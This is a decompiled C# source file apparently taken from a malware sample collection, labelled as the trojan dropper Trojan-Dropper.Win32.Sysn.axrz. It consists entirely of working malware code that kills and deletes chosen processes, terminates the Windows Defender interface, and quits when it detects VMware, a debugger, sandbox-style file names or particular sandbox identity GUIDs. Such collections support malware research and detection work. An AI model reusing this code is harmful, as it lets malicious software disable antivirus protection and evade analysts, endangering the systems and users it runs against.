MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.axrz-65a382451dd46ba81b5db9e85a6a586162c5d430c853bf4f688f48a71af44313/C1.cs
2022-08-18 06:28:56 -05:00

110 lines
3.3 KiB
C#

// Decompiled with JetBrains decompiler
// Type: FTPscanner.C1
// Assembly: FTPscanner, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8469568A-499F-4FFB-88BB-33DD24B78A55
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Sysn.axrz-65a382451dd46ba81b5db9e85a6a586162c5d430c853bf4f688f48a71af44313.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace FTPscanner
{
internal class C1
{
public static void A(string process, bool delete)
{
process = process.Replace(".exe", "");
try
{
foreach (Process process1 in Process.GetProcesses())
{
if (!(process1.ProcessName != process))
{
try
{
Process process2 = process1;
process2.Kill();
if (delete)
File.Delete(process2.Modules[0].FileName);
}
catch
{
}
}
}
}
catch
{
}
}
public static void B()
{
foreach (Process process in Process.GetProcesses())
{
if (process.ProcessName.Contains("MSASCui") && process.MainModule.FileName != Process.GetCurrentProcess().MainModule.FileName)
{
try
{
process.Kill();
}
catch
{
}
}
if (process.ProcessName.Contains("VMware") && process.MainModule.FileName != Process.GetCurrentProcess().MainModule.FileName)
Environment.Exit(0);
}
if (Process.GetCurrentProcess().MainModule.FileName.Contains("sample") || Process.GetCurrentProcess().MainModule.FileName.Equals("test"))
Environment.Exit(0);
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Identities");
if (registryKey == null)
return;
switch (registryKey.GetValue("Default User ID").ToString())
{
case "{177D2F0D-C2B1-4AA1-869C-A61C307B18FF}":
int num1 = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
break;
case "{4268CD90-4AAD-4A75-AC89-343E4A0E5134}":
int num2 = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
break;
case "{095F0392-95AE-4379-8528-558D4F23DDD0}":
int num3 = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
break;
case "{42D8066E-F069-48E2-9549-21646EC1BC68}":
int num4 = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
break;
case "{0A6F0A56-D860-4E67-9D82-0606D95E5431}":
int num5 = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
break;
case "{ED68B8B4-272F-4218-82F0-17F591FA2FA7}":
int num6 = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
break;
}
}
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
internal static extern bool IsDebuggerPresent();
public static bool C()
{
if (C1.IsDebuggerPresent())
{
int num = (int) MessageBox.Show("Error 0x069");
Environment.Exit(0);
}
return false;
}
}
}